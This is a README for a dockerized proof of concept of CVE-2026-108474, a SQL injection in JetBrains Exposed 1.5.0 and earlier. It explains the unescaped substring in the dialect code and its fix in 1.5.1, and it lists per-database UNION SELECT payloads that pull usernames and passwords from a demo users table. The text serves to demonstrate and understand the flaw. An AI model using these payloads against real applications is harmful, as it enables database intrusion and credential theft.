
Dockerized proof of concept for CVE-2026-108474, a SQL injection in JetBrains Exposed <=1.5.0, with a demo Kotlin app and per-dialect payloads.
CVE-2026-108474 was publicly disclosed on 2026-10-09, detailing multiple SQL injection vulnerabilities caused by unescaped string arguments in JetBrains Exposed <= 1.5.0.
This repository was built on 2026-10-13 to better understand the vulnerability and demonstrate the severity of the exploit.
More information about CVE-2026-108474 can be found here: https://app.opencve.io/cve/CVE-2026-108474
Claude was used to build the dockerized site; the exact vulnerabilities in JetBrains Exposed 1.5.0 and the SQL injection inputs to trigger them were identified manually following the CVE announcement on opencve.
The github repository hosting JetBrains Exposed source code can be found here: https://github.com/JetBrains/Exposed
In multiple files in exposed-core/src/main/kotlin/org/jetbrains/exposed/v1/core/vendors/ an unsanitized substring parameter is passed directly to SQL queries. Assuming users are able to control this substring, a single quote character can be used to escape the prepared SQL statement and execute arbitrary queries.
Example in exposed-core/src/main/kotlin/org/jetbrains/exposed/v1/core/vendors/MysqlDialect.kt:
append("LOCATE(\'", substring, "\',", expr, ")")
This vulnerability was addressed in JetBrains Exposed 1.5.1, in which an escapeSingleQuotes() method is called on the substring, which effectively doubles any single quotes present. The above example becomes:
append("LOCATE(\'", substring.escapeSingleQuotes(), "\',", expr, ")")
The exact commit addressing this issue can be found here: https://github.com/JetBrains/Exposed/commit/be0b6ebc08346b270085be65eeb188d494e651f0#diff-6d050c5eadfff62528b7efb9aaa82bb905005c960a7132dc5655441daf818b9e
A tiny simulated shopping site demonstrating CVE-2026-108474 is provided. You're logged in as guest. Pick a database, search for a product, and see which products match. The query is always Exposed's built-in locate(); each database's dialect renders it differently:
| Database | SQL function emitted |
|---|---|
| MySQL | LOCATE |
| SQLite | INSTR |
| PostgreSQL | POSITION |
| SQL Server | CHARINDEX |
docker compose up --build
The site is hosted on http://localhost:8080
MySQL (LOCATE):
a','aa') FROM products UNION SELECT name,password,3 FROM users; #
SQLite (INSTR):
a') FROM products UNION SELECT name,password,3 FROM users; #
PostgreSQL (POSITION):
a' IN 'aa') FROM products UNION SELECT name,password,3 FROM users --
SQL Server / MSSQL (CHARINDEX):
a' ,'aa') FROM products UNION SELECT name,password,3 FROM users; --
The active version is shown in the page footer, and the default is the vulnerable 1.5.0 version. Changing this version to 1.5.1 demonstrates that the SQL injection vulnerability is mitigated. To change versions:
EXPOSED_VERSION in docker-compose.yml (under app.build.args), ordocker compose build --build-arg EXPOSED_VERSION=1.5.1, orbuild.gradle.kts (exposedVersion) / Dockerfile (ARG EXPOSED_VERSION).SqlLogger) above the results.
If a query fails, the statement is still shown when Exposed got far enough to build it.locate() with no sanitizing in this app.